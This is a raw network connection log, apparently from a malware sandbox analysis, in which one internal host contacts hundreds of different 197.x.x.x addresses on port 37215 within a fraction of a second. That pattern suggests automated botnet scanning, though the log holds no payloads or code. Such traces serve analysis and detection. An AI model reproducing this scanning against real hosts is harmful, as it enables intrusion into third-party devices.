Feb 20, 2022 15:50:56.618794918 CET	1898	37215	192.168.2.23	197.223.12.33
Feb 20, 2022 15:50:56.618799925 CET	1898	37215	192.168.2.23	197.23.193.248
Feb 20, 2022 15:50:56.618809938 CET	1386	37215	192.168.2.23	197.181.203.249
Feb 20, 2022 15:50:56.618824005 CET	1386	37215	192.168.2.23	197.69.237.87
Feb 20, 2022 15:50:56.618853092 CET	1386	37215	192.168.2.23	197.239.210.162
Feb 20, 2022 15:50:56.618855000 CET	1386	37215	192.168.2.23	197.177.176.92
Feb 20, 2022 15:50:56.618860006 CET	1898	37215	192.168.2.23	197.143.10.25
Feb 20, 2022 15:50:56.618896008 CET	1386	37215	192.168.2.23	197.214.124.36
Feb 20, 2022 15:50:56.618897915 CET	1898	37215	192.168.2.23	197.207.52.41
Feb 20, 2022 15:50:56.618905067 CET	1386	37215	192.168.2.23	197.188.94.196
Feb 20, 2022 15:50:56.618907928 CET	1898	37215	192.168.2.23	197.52.95.116
Feb 20, 2022 15:50:56.618911028 CET	1386	37215	192.168.2.23	197.85.114.213
Feb 20, 2022 15:50:56.618948936 CET	1386	37215	192.168.2.23	197.161.54.33
Feb 20, 2022 15:50:56.618954897 CET	1386	37215	192.168.2.23	197.198.1.118
Feb 20, 2022 15:50:56.618957996 CET	1898	37215	192.168.2.23	197.162.242.146
Feb 20, 2022 15:50:56.618959904 CET	1898	37215	192.168.2.23	197.140.247.63
Feb 20, 2022 15:50:56.618968964 CET	1386	37215	192.168.2.23	197.68.8.247
Feb 20, 2022 15:50:56.619024992 CET	1386	37215	192.168.2.23	197.61.1.145
Feb 20, 2022 15:50:56.619029999 CET	1386	37215	192.168.2.23	197.32.181.77
Feb 20, 2022 15:50:56.619041920 CET	1898	37215	192.168.2.23	197.110.24.25
Feb 20, 2022 15:50:56.619077921 CET	1386	37215	192.168.2.23	197.226.116.152
Feb 20, 2022 15:50:56.619083881 CET	1386	37215	192.168.2.23	197.227.177.212
Feb 20, 2022 15:50:56.619086027 CET	1898	37215	192.168.2.23	197.29.25.152
Feb 20, 2022 15:50:56.619091034 CET	1386	37215	192.168.2.23	197.202.29.161
Feb 20, 2022 15:50:56.619107962 CET	1386	37215	192.168.2.23	197.171.151.182
Feb 20, 2022 15:50:56.619117022 CET	1898	37215	192.168.2.23	197.210.38.132
Feb 20, 2022 15:50:56.619118929 CET	1898	37215	192.168.2.23	197.134.229.127
Feb 20, 2022 15:50:56.619127035 CET	1898	37215	192.168.2.23	197.132.117.180
Feb 20, 2022 15:50:56.619132996 CET	1898	37215	192.168.2.23	197.109.124.252
Feb 20, 2022 15:50:56.619178057 CET	1898	37215	192.168.2.23	197.82.118.40
Feb 20, 2022 15:50:56.619199991 CET	1898	37215	192.168.2.23	197.245.199.126
Feb 20, 2022 15:50:56.619226933 CET	1898	37215	192.168.2.23	197.116.244.56
Feb 20, 2022 15:50:56.619270086 CET	1898	37215	192.168.2.23	197.102.98.94
Feb 20, 2022 15:50:56.619318008 CET	1898	37215	192.168.2.23	197.43.114.17
Feb 20, 2022 15:50:56.619318962 CET	1386	37215	192.168.2.23	197.154.198.70
Feb 20, 2022 15:50:56.619321108 CET	1898	37215	192.168.2.23	197.148.97.11
Feb 20, 2022 15:50:56.619330883 CET	1898	37215	192.168.2.23	197.81.140.243
Feb 20, 2022 15:50:56.619333982 CET	1386	37215	192.168.2.23	197.194.135.168
Feb 20, 2022 15:50:56.619345903 CET	1386	37215	192.168.2.23	197.244.169.227
Feb 20, 2022 15:50:56.619350910 CET	1898	37215	192.168.2.23	197.230.152.113
Feb 20, 2022 15:50:56.619365931 CET	1386	37215	192.168.2.23	197.231.67.229
Feb 20, 2022 15:50:56.619415998 CET	1386	37215	192.168.2.23	197.40.4.51
Feb 20, 2022 15:50:56.619416952 CET	1386	37215	192.168.2.23	197.217.132.133
Feb 20, 2022 15:50:56.619417906 CET	1898	37215	192.168.2.23	197.218.179.81
Feb 20, 2022 15:50:56.619440079 CET	1898	37215	192.168.2.23	197.231.49.149
Feb 20, 2022 15:50:56.619446993 CET	1386	37215	192.168.2.23	197.44.164.171
Feb 20, 2022 15:50:56.619455099 CET	1898	37215	192.168.2.23	197.218.181.151
Feb 20, 2022 15:50:56.619458914 CET	1386	37215	192.168.2.23	197.175.253.80
Feb 20, 2022 15:50:56.619477034 CET	1386	37215	192.168.2.23	197.216.171.175
Feb 20, 2022 15:50:56.619477987 CET	1898	37215	192.168.2.23	197.211.251.201
Feb 20, 2022 15:50:56.619534969 CET	1386	37215	192.168.2.23	197.68.104.210
Feb 20, 2022 15:50:56.619539022 CET	1386	37215	192.168.2.23	197.7.127.43
Feb 20, 2022 15:50:56.619538069 CET	1898	37215	192.168.2.23	197.62.153.216
Feb 20, 2022 15:50:56.619575977 CET	1386	37215	192.168.2.23	197.185.175.189
Feb 20, 2022 15:50:56.619585037 CET	1898	37215	192.168.2.23	197.160.107.66
Feb 20, 2022 15:50:56.619587898 CET	1386	37215	192.168.2.23	197.18.236.132
Feb 20, 2022 15:50:56.619592905 CET	1898	37215	192.168.2.23	197.81.19.184
Feb 20, 2022 15:50:56.619594097 CET	1386	37215	192.168.2.23	197.145.39.215
Feb 20, 2022 15:50:56.619600058 CET	1898	37215	192.168.2.23	197.151.156.60
Feb 20, 2022 15:50:56.619640112 CET	1898	37215	192.168.2.23	197.80.32.33
Feb 20, 2022 15:50:56.619642973 CET	1386	37215	192.168.2.23	197.198.226.91
Feb 20, 2022 15:50:56.619651079 CET	1898	37215	192.168.2.23	197.206.155.192
Feb 20, 2022 15:50:56.619652033 CET	1386	37215	192.168.2.23	197.51.5.118
Feb 20, 2022 15:50:56.619657040 CET	1386	37215	192.168.2.23	197.60.25.140
Feb 20, 2022 15:50:56.619704962 CET	1898	37215	192.168.2.23	197.179.127.214
Feb 20, 2022 15:50:56.619710922 CET	1386	37215	192.168.2.23	197.48.207.175
Feb 20, 2022 15:50:56.619723082 CET	1898	37215	192.168.2.23	197.228.26.4
Feb 20, 2022 15:50:56.619776011 CET	1898	37215	192.168.2.23	197.143.18.51
Feb 20, 2022 15:50:56.619795084 CET	1898	37215	192.168.2.23	197.254.100.134
Feb 20, 2022 15:50:56.619847059 CET	1898	37215	192.168.2.23	197.148.92.222
Feb 20, 2022 15:50:56.619857073 CET	1898	37215	192.168.2.23	197.160.138.71
Feb 20, 2022 15:50:56.619858027 CET	1386	37215	192.168.2.23	197.46.74.48
Feb 20, 2022 15:50:56.619863987 CET	1898	37215	192.168.2.23	197.61.26.150
Feb 20, 2022 15:50:56.619872093 CET	1386	37215	192.168.2.23	197.141.36.153
Feb 20, 2022 15:50:56.619901896 CET	1386	37215	192.168.2.23	197.237.50.217
Feb 20, 2022 15:50:56.619919062 CET	1898	37215	192.168.2.23	197.176.212.168
Feb 20, 2022 15:50:56.619927883 CET	1898	37215	192.168.2.23	197.175.115.156
Feb 20, 2022 15:50:56.619929075 CET	1386	37215	192.168.2.23	197.154.192.198
Feb 20, 2022 15:50:56.619936943 CET	1898	37215	192.168.2.23	197.162.23.91
Feb 20, 2022 15:50:56.619946003 CET	1386	37215	192.168.2.23	197.208.187.114
Feb 20, 2022 15:50:56.619968891 CET	1386	37215	192.168.2.23	197.233.206.118
Feb 20, 2022 15:50:56.619971037 CET	1898	37215	192.168.2.23	197.82.105.180
Feb 20, 2022 15:50:56.620058060 CET	1386	37215	192.168.2.23	197.192.162.219
Feb 20, 2022 15:50:56.620059013 CET	1898	37215	192.168.2.23	197.124.129.80
Feb 20, 2022 15:50:56.620064974 CET	1898	37215	192.168.2.23	197.194.94.219
Feb 20, 2022 15:50:56.620066881 CET	1386	37215	192.168.2.23	197.25.178.130
Feb 20, 2022 15:50:56.620068073 CET	1386	37215	192.168.2.23	197.5.188.230
Feb 20, 2022 15:50:56.620069027 CET	1386	37215	192.168.2.23	197.124.86.221
Feb 20, 2022 15:50:56.620073080 CET	1898	37215	192.168.2.23	197.85.15.8
Feb 20, 2022 15:50:56.620084047 CET	1386	37215	192.168.2.23	197.240.212.146
Feb 20, 2022 15:50:56.620094061 CET	1898	37215	192.168.2.23	197.101.182.47
Feb 20, 2022 15:50:56.620111942 CET	1386	37215	192.168.2.23	197.85.47.131
Feb 20, 2022 15:50:56.620119095 CET	1386	37215	192.168.2.23	197.157.127.26
Feb 20, 2022 15:50:56.620121002 CET	1898	37215	192.168.2.23	197.138.108.131
Feb 20, 2022 15:50:56.620141983 CET	1898	37215	192.168.2.23	197.174.171.89
Feb 20, 2022 15:50:56.620143890 CET	1386	37215	192.168.2.23	197.38.187.56
Feb 20, 2022 15:50:56.620157957 CET	1386	37215	192.168.2.23	197.171.115.31
Feb 20, 2022 15:50:56.620162964 CET	1898	37215	192.168.2.23	197.190.49.72
Feb 20, 2022 15:50:56.620176077 CET	1386	37215	192.168.2.23	197.117.230.116
Feb 20, 2022 15:50:56.620187998 CET	1898	37215	192.168.2.23	197.196.230.215
Feb 20, 2022 15:50:56.620275974 CET	1898	37215	192.168.2.23	197.56.220.213
Feb 20, 2022 15:50:56.620291948 CET	1898	37215	192.168.2.23	197.190.66.41
Feb 20, 2022 15:50:56.620332003 CET	1898	37215	192.168.2.23	197.40.13.255
Feb 20, 2022 15:50:56.620420933 CET	1898	37215	192.168.2.23	197.180.45.4
Feb 20, 2022 15:50:56.620423079 CET	1898	37215	192.168.2.23	197.0.133.6
Feb 20, 2022 15:50:56.620424986 CET	1898	37215	192.168.2.23	197.184.90.126
Feb 20, 2022 15:50:56.620460987 CET	1898	37215	192.168.2.23	197.134.82.115
Feb 20, 2022 15:50:56.620484114 CET	1898	37215	192.168.2.23	197.42.92.41
Feb 20, 2022 15:50:56.620568037 CET	1898	37215	192.168.2.23	197.131.52.75
Feb 20, 2022 15:50:56.620574951 CET	1898	37215	192.168.2.23	197.165.39.173
Feb 20, 2022 15:50:56.620580912 CET	1898	37215	192.168.2.23	197.103.184.102
Feb 20, 2022 15:50:56.620589018 CET	1898	37215	192.168.2.23	197.65.2.29
Feb 20, 2022 15:50:56.620620012 CET	1898	37215	192.168.2.23	197.63.36.151
Feb 20, 2022 15:50:56.620646000 CET	1898	37215	192.168.2.23	197.241.101.253
Feb 20, 2022 15:50:56.620665073 CET	1898	37215	192.168.2.23	197.206.224.118
Feb 20, 2022 15:50:56.620666027 CET	1898	37215	192.168.2.23	197.37.131.81
Feb 20, 2022 15:50:56.620723009 CET	1898	37215	192.168.2.23	197.75.31.242
Feb 20, 2022 15:50:56.620727062 CET	1898	37215	192.168.2.23	197.17.170.39
Feb 20, 2022 15:50:56.620743990 CET	1898	37215	192.168.2.23	197.74.216.229
Feb 20, 2022 15:50:56.620765924 CET	1898	37215	192.168.2.23	197.51.228.162
Feb 20, 2022 15:50:56.620825052 CET	1898	37215	192.168.2.23	197.67.37.109
Feb 20, 2022 15:50:56.620873928 CET	1898	37215	192.168.2.23	197.32.18.14
Feb 20, 2022 15:50:56.620893955 CET	1898	37215	192.168.2.23	197.228.188.116
Feb 20, 2022 15:50:56.620904922 CET	1898	37215	192.168.2.23	197.214.33.137
Feb 20, 2022 15:50:56.620907068 CET	1898	37215	192.168.2.23	197.208.78.0
Feb 20, 2022 15:50:56.621007919 CET	1898	37215	192.168.2.23	197.191.212.100
Feb 20, 2022 15:50:56.621023893 CET	1898	37215	192.168.2.23	197.30.238.129
Feb 20, 2022 15:50:56.621026039 CET	1898	37215	192.168.2.23	197.135.4.8
Feb 20, 2022 15:50:56.621036053 CET	1898	37215	192.168.2.23	197.147.95.16
Feb 20, 2022 15:50:56.621037006 CET	1898	37215	192.168.2.23	197.190.75.163
Feb 20, 2022 15:50:56.621118069 CET	1898	37215	192.168.2.23	197.254.76.52
Feb 20, 2022 15:50:56.621135950 CET	1898	37215	192.168.2.23	197.155.71.49
Feb 20, 2022 15:50:56.621155024 CET	1898	37215	192.168.2.23	197.2.43.192
Feb 20, 2022 15:50:56.621157885 CET	1898	37215	192.168.2.23	197.127.166.159
Feb 20, 2022 15:50:56.621164083 CET	1898	37215	192.168.2.23	197.140.88.239
Feb 20, 2022 15:50:56.621174097 CET	1898	37215	192.168.2.23	197.211.172.237
Feb 20, 2022 15:50:56.621210098 CET	1898	37215	192.168.2.23	197.255.202.90
Feb 20, 2022 15:50:56.621264935 CET	1898	37215	192.168.2.23	197.216.141.201
Feb 20, 2022 15:50:56.621289968 CET	1898	37215	192.168.2.23	197.36.165.85
Feb 20, 2022 15:50:56.621309042 CET	1898	37215	192.168.2.23	197.159.210.4
Feb 20, 2022 15:50:56.621335983 CET	1898	37215	192.168.2.23	197.48.105.231
Feb 20, 2022 15:50:56.621352911 CET	1898	37215	192.168.2.23	197.150.189.32
Feb 20, 2022 15:50:56.621387005 CET	1898	37215	192.168.2.23	197.240.103.157
Feb 20, 2022 15:50:56.621408939 CET	1898	37215	192.168.2.23	197.42.4.238
Feb 20, 2022 15:50:56.621433020 CET	1898	37215	192.168.2.23	197.242.233.98
Feb 20, 2022 15:50:56.621453047 CET	1898	37215	192.168.2.23	197.22.86.151
Feb 20, 2022 15:50:56.621473074 CET	1898	37215	192.168.2.23	197.15.38.13
Feb 20, 2022 15:50:56.621503115 CET	1898	37215	192.168.2.23	197.233.192.38
Feb 20, 2022 15:50:56.621520996 CET	1898	37215	192.168.2.23	197.177.34.165
Feb 20, 2022 15:50:56.621547937 CET	1898	37215	192.168.2.23	197.173.138.144
Feb 20, 2022 15:50:56.621572971 CET	1898	37215	192.168.2.23	197.132.222.133
Feb 20, 2022 15:50:56.621591091 CET	1898	37215	192.168.2.23	197.141.35.251
Feb 20, 2022 15:50:56.621619940 CET	1898	37215	192.168.2.23	197.36.241.151
Feb 20, 2022 15:50:56.621650934 CET	1898	37215	192.168.2.23	197.81.170.90
Feb 20, 2022 15:50:56.621687889 CET	1898	37215	192.168.2.23	197.244.93.116
Feb 20, 2022 15:50:56.621707916 CET	1898	37215	192.168.2.23	197.103.249.235
Feb 20, 2022 15:50:56.621743917 CET	1898	37215	192.168.2.23	197.33.84.151
Feb 20, 2022 15:50:56.621773005 CET	1898	37215	192.168.2.23	197.70.28.192
Feb 20, 2022 15:50:56.621812105 CET	1898	37215	192.168.2.23	197.239.18.108
Feb 20, 2022 15:50:56.621824980 CET	1898	37215	192.168.2.23	197.150.13.113
Feb 20, 2022 15:50:56.621854067 CET	1898	37215	192.168.2.23	197.88.113.22
Feb 20, 2022 15:50:56.621877909 CET	1898	37215	192.168.2.23	197.8.175.65
Feb 20, 2022 15:50:56.621921062 CET	1898	37215	192.168.2.23	197.114.11.2
Feb 20, 2022 15:50:56.621994972 CET	1386	37215	192.168.2.23	197.178.1.242
Feb 20, 2022 15:50:56.622014046 CET	1386	37215	192.168.2.23	197.194.103.62
Feb 20, 2022 15:50:56.622016907 CET	1386	37215	192.168.2.23	197.61.99.70
Feb 20, 2022 15:50:56.622030973 CET	1898	37215	192.168.2.23	197.115.183.35
Feb 20, 2022 15:50:56.622037888 CET	1386	37215	192.168.2.23	197.19.78.21
Feb 20, 2022 15:50:56.622040033 CET	1898	37215	192.168.2.23	197.161.61.244
Feb 20, 2022 15:50:56.622090101 CET	1386	37215	192.168.2.23	197.192.112.197
Feb 20, 2022 15:50:56.622143030 CET	1386	37215	192.168.2.23	197.205.167.76
Feb 20, 2022 15:50:56.622143984 CET	1386	37215	192.168.2.23	197.67.6.193
Feb 20, 2022 15:50:56.622152090 CET	1898	37215	192.168.2.23	197.48.173.45
Feb 20, 2022 15:50:56.622155905 CET	1898	37215	192.168.2.23	197.171.7.66
Feb 20, 2022 15:50:56.622157097 CET	1386	37215	192.168.2.23	197.178.79.32
Feb 20, 2022 15:50:56.622159004 CET	1386	37215	192.168.2.23	197.63.38.209
Feb 20, 2022 15:50:56.622165918 CET	1898	37215	192.168.2.23	197.207.129.26
Feb 20, 2022 15:50:56.622168064 CET	1898	37215	192.168.2.23	197.72.129.64
Feb 20, 2022 15:50:56.622172117 CET	1386	37215	192.168.2.23	197.85.5.80
Feb 20, 2022 15:50:56.622178078 CET	1386	37215	192.168.2.23	197.223.57.224
Feb 20, 2022 15:50:56.622196913 CET	1386	37215	192.168.2.23	197.101.21.140
Feb 20, 2022 15:50:56.622198105 CET	1898	37215	192.168.2.23	197.189.25.32
Feb 20, 2022 15:50:56.622246981 CET	1386	37215	192.168.2.23	197.9.83.106
Feb 20, 2022 15:50:56.622308969 CET	1898	37215	192.168.2.23	197.96.17.8
Feb 20, 2022 15:50:56.622313023 CET	1386	37215	192.168.2.23	197.77.245.154
Feb 20, 2022 15:50:56.622315884 CET	1898	37215	192.168.2.23	197.138.67.90
Feb 20, 2022 15:50:56.622320890 CET	1386	37215	192.168.2.23	197.85.40.41
Feb 20, 2022 15:50:56.622323036 CET	1386	37215	192.168.2.23	197.218.9.246
Feb 20, 2022 15:50:56.622323036 CET	1386	37215	192.168.2.23	197.205.33.180
Feb 20, 2022 15:50:56.622323036 CET	1898	37215	192.168.2.23	197.83.151.127
Feb 20, 2022 15:50:56.622328043 CET	1898	37215	192.168.2.23	197.124.214.114
Feb 20, 2022 15:50:56.622334003 CET	1386	37215	192.168.2.23	197.19.166.23
Feb 20, 2022 15:50:56.622374058 CET	1898	37215	192.168.2.23	197.33.37.129
Feb 20, 2022 15:50:56.622378111 CET	1898	37215	192.168.2.23	197.143.111.110
Feb 20, 2022 15:50:56.622380972 CET	1898	37215	192.168.2.23	197.2.21.248
Feb 20, 2022 15:50:56.622399092 CET	1898	37215	192.168.2.23	197.78.174.108
Feb 20, 2022 15:50:56.622431040 CET	1386	37215	192.168.2.23	197.1.205.17
Feb 20, 2022 15:50:56.622442007 CET	1898	37215	192.168.2.23	197.150.123.65
Feb 20, 2022 15:50:56.622531891 CET	1386	37215	192.168.2.23	197.206.109.170
Feb 20, 2022 15:50:56.622534037 CET	1898	37215	192.168.2.23	197.148.27.196
Feb 20, 2022 15:50:56.622539043 CET	1386	37215	192.168.2.23	197.64.245.182
Feb 20, 2022 15:50:56.622540951 CET	1386	37215	192.168.2.23	197.139.43.255
Feb 20, 2022 15:50:56.622545004 CET	1386	37215	192.168.2.23	197.64.103.117
Feb 20, 2022 15:50:56.622545958 CET	1898	37215	192.168.2.23	197.239.159.10
Feb 20, 2022 15:50:56.622551918 CET	1386	37215	192.168.2.23	197.100.23.233
Feb 20, 2022 15:50:56.622554064 CET	1898	37215	192.168.2.23	197.76.95.38
Feb 20, 2022 15:50:56.622555971 CET	1898	37215	192.168.2.23	197.137.45.56
Feb 20, 2022 15:50:56.622559071 CET	1898	37215	192.168.2.23	197.112.29.52
Feb 20, 2022 15:50:56.622562885 CET	1386	37215	192.168.2.23	197.7.156.182
Feb 20, 2022 15:50:56.622564077 CET	1386	37215	192.168.2.23	197.129.230.138
Feb 20, 2022 15:50:56.622596979 CET	1386	37215	192.168.2.23	197.191.5.145
Feb 20, 2022 15:50:56.622613907 CET	1898	37215	192.168.2.23	197.199.72.172
Feb 20, 2022 15:50:56.622622013 CET	1898	37215	192.168.2.23	197.58.206.93
Feb 20, 2022 15:50:56.622623920 CET	1386	37215	192.168.2.23	197.11.103.213
Feb 20, 2022 15:50:56.622672081 CET	1898	37215	192.168.2.23	197.26.247.120
Feb 20, 2022 15:50:56.622675896 CET	1386	37215	192.168.2.23	197.32.153.226
Feb 20, 2022 15:50:56.622689009 CET	1386	37215	192.168.2.23	197.24.79.168
Feb 20, 2022 15:50:56.622693062 CET	1386	37215	192.168.2.23	197.91.115.45
Feb 20, 2022 15:50:56.622695923 CET	1898	37215	192.168.2.23	197.37.123.63
Feb 20, 2022 15:50:56.622706890 CET	1898	37215	192.168.2.23	197.103.129.182
Feb 20, 2022 15:50:56.622723103 CET	1898	37215	192.168.2.23	197.253.252.44
Feb 20, 2022 15:50:56.622724056 CET	1386	37215	192.168.2.23	197.70.65.245
Feb 20, 2022 15:50:56.622737885 CET	1386	37215	192.168.2.23	197.228.199.77
Feb 20, 2022 15:50:56.622834921 CET	1898	37215	192.168.2.23	197.15.136.69
Feb 20, 2022 15:50:56.622874022 CET	1898	37215	192.168.2.23	197.23.37.46
Feb 20, 2022 15:50:56.622883081 CET	1898	37215	192.168.2.23	197.115.245.194
Feb 20, 2022 15:50:56.622905970 CET	1898	37215	192.168.2.23	197.80.79.5
Feb 20, 2022 15:50:56.622910023 CET	1386	37215	192.168.2.23	197.103.203.47
Feb 20, 2022 15:50:56.622942924 CET	1386	37215	192.168.2.23	197.193.29.8
Feb 20, 2022 15:50:56.622942924 CET	1898	37215	192.168.2.23	197.82.118.89
Feb 20, 2022 15:50:56.622961998 CET	1386	37215	192.168.2.23	197.80.119.177
Feb 20, 2022 15:50:56.622966051 CET	1898	37215	192.168.2.23	197.71.81.206
Feb 20, 2022 15:50:56.622981071 CET	1386	37215	192.168.2.23	197.49.221.89
Feb 20, 2022 15:50:56.622992039 CET	1898	37215	192.168.2.23	197.32.223.48
Feb 20, 2022 15:50:56.623003960 CET	1386	37215	192.168.2.23	197.159.244.18
Feb 20, 2022 15:50:56.623022079 CET	1898	37215	192.168.2.23	197.29.159.243
Feb 20, 2022 15:50:56.623101950 CET	1898	37215	192.168.2.23	197.77.237.31
Feb 20, 2022 15:50:56.623106003 CET	1386	37215	192.168.2.23	197.140.230.105
Feb 20, 2022 15:50:56.623106956 CET	1386	37215	192.168.2.23	197.142.56.219
Feb 20, 2022 15:50:56.623112917 CET	1386	37215	192.168.2.23	197.82.87.161
Feb 20, 2022 15:50:56.623120070 CET	1898	37215	192.168.2.23	197.238.168.101
Feb 20, 2022 15:50:56.623121977 CET	1386	37215	192.168.2.23	197.170.236.40
Feb 20, 2022 15:50:56.623126984 CET	1386	37215	192.168.2.23	197.183.209.45
Feb 20, 2022 15:50:56.623131990 CET	1898	37215	192.168.2.23	197.124.135.194
Feb 20, 2022 15:50:56.623133898 CET	1898	37215	192.168.2.23	197.171.5.221
Feb 20, 2022 15:50:56.623148918 CET	1898	37215	192.168.2.23	197.23.27.28
Feb 20, 2022 15:50:56.623164892 CET	1386	37215	192.168.2.23	197.94.207.91
Feb 20, 2022 15:50:56.623188972 CET	1898	37215	192.168.2.23	197.167.45.93
Feb 20, 2022 15:50:56.623193979 CET	1898	37215	192.168.2.23	197.166.155.214
Feb 20, 2022 15:50:56.623198032 CET	1386	37215	192.168.2.23	197.1.194.70
Feb 20, 2022 15:50:56.623199940 CET	1386	37215	192.168.2.23	197.144.4.234
Feb 20, 2022 15:50:56.623203993 CET	1386	37215	192.168.2.23	197.122.133.214
Feb 20, 2022 15:50:56.623209953 CET	1898	37215	192.168.2.23	197.67.114.228
Feb 20, 2022 15:50:56.623238087 CET	1386	37215	192.168.2.23	197.6.107.168
Feb 20, 2022 15:50:56.623251915 CET	1386	37215	192.168.2.23	197.141.147.0
Feb 20, 2022 15:50:56.623260021 CET	1898	37215	192.168.2.23	197.251.36.181
Feb 20, 2022 15:50:56.623262882 CET	1386	37215	192.168.2.23	197.44.140.113
Feb 20, 2022 15:50:56.623270988 CET	1898	37215	192.168.2.23	197.255.136.117
Feb 20, 2022 15:50:56.623284101 CET	1898	37215	192.168.2.23	197.22.38.47
Feb 20, 2022 15:50:56.623301983 CET	1386	37215	192.168.2.23	197.45.26.211
Feb 20, 2022 15:50:56.623372078 CET	1898	37215	192.168.2.23	197.255.158.7
Feb 20, 2022 15:50:56.623411894 CET	1898	37215	192.168.2.23	197.239.88.2
Feb 20, 2022 15:50:56.623495102 CET	1898	37215	192.168.2.23	197.20.62.224
Feb 20, 2022 15:50:56.623514891 CET	1898	37215	192.168.2.23	197.68.57.134
Feb 20, 2022 15:50:56.623514891 CET	1386	37215	192.168.2.23	197.220.67.70
Feb 20, 2022 15:50:56.623522997 CET	1898	37215	192.168.2.23	197.212.180.218
Feb 20, 2022 15:50:56.623533964 CET	1386	37215	192.168.2.23	197.81.73.205
Feb 20, 2022 15:50:56.623562098 CET	1386	37215	192.168.2.23	197.255.20.57
Feb 20, 2022 15:50:56.623611927 CET	1386	37215	192.168.2.23	197.189.181.52
Feb 20, 2022 15:50:56.623663902 CET	1386	37215	192.168.2.23	197.190.82.168
Feb 20, 2022 15:50:56.623667955 CET	1386	37215	192.168.2.23	197.106.173.167
Feb 20, 2022 15:50:56.623668909 CET	1386	37215	192.168.2.23	197.44.228.132
Feb 20, 2022 15:50:56.623677969 CET	1386	37215	192.168.2.23	197.21.193.86
Feb 20, 2022 15:50:56.623684883 CET	1386	37215	192.168.2.23	197.227.99.234
Feb 20, 2022 15:50:56.623703957 CET	1386	37215	192.168.2.23	197.254.51.128
Feb 20, 2022 15:50:56.623747110 CET	1386	37215	192.168.2.23	197.144.152.223
Feb 20, 2022 15:50:56.623756886 CET	1386	37215	192.168.2.23	197.71.244.52
Feb 20, 2022 15:50:56.623806000 CET	1898	37215	192.168.2.23	197.121.54.78
Feb 20, 2022 15:50:56.623809099 CET	1386	37215	192.168.2.23	197.208.81.116
Feb 20, 2022 15:50:56.623814106 CET	1898	37215	192.168.2.23	197.105.70.38
Feb 20, 2022 15:50:56.623816013 CET	1386	37215	192.168.2.23	197.156.220.188
Feb 20, 2022 15:50:56.623826027 CET	1898	37215	192.168.2.23	197.248.133.130
Feb 20, 2022 15:50:56.623827934 CET	1386	37215	192.168.2.23	197.205.124.253
Feb 20, 2022 15:50:56.623842955 CET	1386	37215	192.168.2.23	197.216.91.192
Feb 20, 2022 15:50:56.623867989 CET	1898	37215	192.168.2.23	197.188.99.134
Feb 20, 2022 15:50:56.623872995 CET	1386	37215	192.168.2.23	197.44.27.114
Feb 20, 2022 15:50:56.623914003 CET	1898	37215	192.168.2.23	197.188.26.86
Feb 20, 2022 15:50:56.623959064 CET	1386	37215	192.168.2.23	197.132.222.56
Feb 20, 2022 15:50:56.623961926 CET	1386	37215	192.168.2.23	197.129.83.69
Feb 20, 2022 15:50:56.623965025 CET	1386	37215	192.168.2.23	197.217.180.78
Feb 20, 2022 15:50:56.623966932 CET	1898	37215	192.168.2.23	197.137.187.13
Feb 20, 2022 15:50:56.623970985 CET	1386	37215	192.168.2.23	197.248.90.117
Feb 20, 2022 15:50:56.623976946 CET	1898	37215	192.168.2.23	197.212.56.179
Feb 20, 2022 15:50:56.623980045 CET	1386	37215	192.168.2.23	197.172.52.1
Feb 20, 2022 15:50:56.623982906 CET	1898	37215	192.168.2.23	197.184.172.84
Feb 20, 2022 15:50:56.623982906 CET	1386	37215	192.168.2.23	197.161.58.246
Feb 20, 2022 15:50:56.623989105 CET	1898	37215	192.168.2.23	197.127.105.74
Feb 20, 2022 15:50:56.624038935 CET	1386	37215	192.168.2.23	197.161.151.189
Feb 20, 2022 15:50:56.624044895 CET	1386	37215	192.168.2.23	197.242.62.204
Feb 20, 2022 15:50:56.624049902 CET	1386	37215	192.168.2.23	197.39.177.233
Feb 20, 2022 15:50:56.624051094 CET	1898	37215	192.168.2.23	197.20.133.103
Feb 20, 2022 15:50:56.624052048 CET	1898	37215	192.168.2.23	197.164.89.187
Feb 20, 2022 15:50:56.624073029 CET	1898	37215	192.168.2.23	197.122.155.114
Feb 20, 2022 15:50:56.624114037 CET	1386	37215	192.168.2.23	197.222.61.96
Feb 20, 2022 15:50:56.624119043 CET	1386	37215	192.168.2.23	197.113.7.165
Feb 20, 2022 15:50:56.624120951 CET	1898	37215	192.168.2.23	197.255.132.255
Feb 20, 2022 15:50:56.624130011 CET	1386	37215	192.168.2.23	197.32.63.32
Feb 20, 2022 15:50:56.624144077 CET	1898	37215	192.168.2.23	197.69.5.244
Feb 20, 2022 15:50:56.624152899 CET	1386	37215	192.168.2.23	197.61.15.61
Feb 20, 2022 15:50:56.624175072 CET	1386	37215	192.168.2.23	197.214.170.180
Feb 20, 2022 15:50:56.624180079 CET	1386	37215	192.168.2.23	197.248.122.186
Feb 20, 2022 15:50:56.624186039 CET	1898	37215	192.168.2.23	197.109.166.193
Feb 20, 2022 15:50:56.624190092 CET	1898	37215	192.168.2.23	197.96.234.70
Feb 20, 2022 15:50:56.624200106 CET	1386	37215	192.168.2.23	197.255.161.125
Feb 20, 2022 15:50:56.624207020 CET	1898	37215	192.168.2.23	197.130.180.131
Feb 20, 2022 15:50:56.624252081 CET	1386	37215	192.168.2.23	197.171.247.12
Feb 20, 2022 15:50:56.624262094 CET	1898	37215	192.168.2.23	197.220.24.240
Feb 20, 2022 15:50:56.624274969 CET	1386	37215	192.168.2.23	197.172.18.19
Feb 20, 2022 15:50:56.624280930 CET	1386	37215	192.168.2.23	197.158.100.245
Feb 20, 2022 15:50:56.624284029 CET	1898	37215	192.168.2.23	197.193.217.231
Feb 20, 2022 15:50:56.624296904 CET	1898	37215	192.168.2.23	197.235.57.0
Feb 20, 2022 15:50:56.624298096 CET	1386	37215	192.168.2.23	197.189.246.251
Feb 20, 2022 15:50:56.624319077 CET	1386	37215	192.168.2.23	197.235.8.173
Feb 20, 2022 15:50:56.624363899 CET	1898	37215	192.168.2.23	197.21.105.121
Feb 20, 2022 15:50:56.624366045 CET	1386	37215	192.168.2.23	197.230.128.107
Feb 20, 2022 15:50:56.624366045 CET	1386	37215	192.168.2.23	197.4.84.162
Feb 20, 2022 15:50:56.624375105 CET	1898	37215	192.168.2.23	197.196.48.18
Feb 20, 2022 15:50:56.624382019 CET	1898	37215	192.168.2.23	197.134.197.158
Feb 20, 2022 15:50:56.624408960 CET	1386	37215	192.168.2.23	197.11.177.185
Feb 20, 2022 15:50:56.624413013 CET	1386	37215	192.168.2.23	197.9.234.161
Feb 20, 2022 15:50:56.624432087 CET	1386	37215	192.168.2.23	197.156.149.30
Feb 20, 2022 15:50:56.624438047 CET	1898	37215	192.168.2.23	197.221.241.36
Feb 20, 2022 15:50:56.624445915 CET	1386	37215	192.168.2.23	197.37.101.148
